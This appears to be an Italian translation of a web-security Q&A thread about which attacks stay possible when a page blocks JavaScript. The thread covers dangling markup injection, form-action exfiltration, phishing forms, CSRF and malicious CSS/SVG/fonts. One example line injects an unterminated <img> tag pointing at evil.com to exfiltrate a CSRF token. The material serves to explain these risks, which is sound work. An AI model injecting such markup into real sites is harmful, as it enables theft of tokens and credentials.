Se ho bloccato Javascript da eseguire. Quindi quali sono i modi in cui può verificarsi XSS e quali sono le possibili minacce in caso di applicazione intranet.
Diciamo che un'applicazione stava usando correttamente Sicurezza dei contenuti , e l'utente malintenzionato potrebbe inserire HTML, ma non è in grado di eseguire JavaScript. Un buon documento su questo scenario di attacco è Cartoline dal mondo post-xss e uno degli attacchi descritti sta usando " Iniezione di markup penzolante ". In questo attacco, l'obiettivo è leggere un token CSRF sulla pagina utilizzando un tag <img> parziale, ad esempio:
<img src='http://evil.com/log.cgi? ← Injected line with a non-terminated parameter
...
<input type="hidden" name="xsrf_token" value="12345">
...
'← Normally-occurring apostrophe in page text
...
</div>
Se prendi la definizione OWASP di XSS molto rigorosamente direi di no non è possibile:
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected...
a meno che non si utilizzi un altro tipo di script lato client.
Detto questo, potresti comunque essere vulnerabile a Iniezione HTML , che è strettamente correlato a XSS. Con questo tipo di attacco, qualcuno potrebbe potenzialmente creare un attacco, ad esempio iniettando un modulo che richiede credenziali e inviato a un server dannoso.
Restano possibili molti scenari di attacco. Le risorse definitive sugli attacchi HTML injection senza Javascript sono:
Attacchi senza script - Ruba la torta senza toccare il davanzale . Mario Heiderich, Marcus Niemietz, Felix Schuster, Thorsten Holz, Jörg Schwenk. CCS 2012.
Cartoline dal mondo post-XSS . Michal Zalewski. Dicembre 2011.
Questi due articoli menzionano molti possibili attacchi, tra cui:
Furto di password: se l'utente sta utilizzando il gestore di password del browser, potrebbe essere possibile iniettare HTML che induce il browser a compilare automaticamente la password dell'utente in una casella di testo. L'attacco potrebbe anche essere in grado di attivare il modulo da inviare all'autore dell'attacco (rivelando la password dell'utente all'autore dell'attacco), o di impostare le cose in modo tale che non appena l'utente fa qualcosa, il modulo verrà inviato all'attaccante.
Esfiltrazione dati: iniettare un tag che cambia dove viene pubblicato un modulo. Ciò consente all'autore dell'attacco di rubare qualsiasi informazione segreta che l'utente inserisce nella pagina. Esistono anche altri metodi con cui un utente malintenzionato può apprendere ciò che viene visualizzato sulla pagina, inclusi token CSRF, informazioni riservate e altre informazioni non pubbliche.
Decifra la tua pagina: l'autore dell'attacco potrebbe essere in grado di modificare ciò che viene visualizzato sulla tua pagina web.
Phishing: iniettando tag dannosi, l'autore dell'attacco potrebbe essere in grado di intercettare gli utenti o sottrarre credenziali di autenticazione (pensare di aggiungere un modulo di accesso che richiede all'utente il nome utente e la password, ma dove l'azione del modulo viene inviata a il sito dell'aggressore).
Attacchi CSRF: l'attaccante può iniettare un markup che monta un attacco CSRF sul tuo sito, se non hai difese CSRF o se utilizzi l'intestazione Referer o Origin per la difesa CSRF. Pensa a un'immagine in linea oa un elemento del modulo che carica automaticamente un URL sul sito della vittima o che inganna l'utente a farlo.
Attacchi di tipo clickjacking / strokejacking: alcuni di questi attacchi non richiedono Javascript e possono essere montati semplicemente iniettando codice HTML dannoso nella pagina.
Evil CSS: iniettare un tag di stile che fa riferimento a un CSS, quindi utilizzare il fatto che i CSS possono contenere Javascript (su alcuni browser).
Evil SVG: iniettare immagini SVG. Le immagini SVG possono contenere Javascript.
File di font malvagi: inserisci un tag che causa il caricamento di un font malevolo, che può innescare un comportamento malevolo.
Modifica il rendering della pagina, sia per ingannare l'utente (abusando della fiducia dell'utente nel sito Web), sia per altri scopi. Ciò può anche consentire il phishing, ad es., Visualizzando una pagina di accesso con l'azione di invio che punta al sito dell'aggressore; se l'utente inserisce la sua password in quella pagina di accesso, l'utente malintenzionato impara la sua password.
Attacca Javascript attendibile, interferendo con la loro corretta esecuzione, ad es. attraverso l'inquinamento dello spazio dei nomi o altri metodi.
Questi attacchi e molti altri sono descritti nei documenti citati sopra.
Per informazioni sulla sicurezza web, consiglio il seguente libro:
In futuro, quando hai domande su aspetti oscuri della sicurezza web, quella sarebbe la prima risorsa che consiglieresti di controllare. È pieno zeppo di grandi pepite e consigli saggi.
Per questa particolare domanda, vedi anche link .
Anche se il browser client non consente l'esecuzione di script. Un utente malintenzionato può comunque modificare il DOM inserendo tag HTML. Alcuni possibili esempi ...
Si noti che il furto del cookie di sessione non è l'unico rischio associato agli attacchi xss. Un falso modulo di login caricato all'interno di un iframe può anche causare molti danni
Leggi altre domande sui tag javascript xss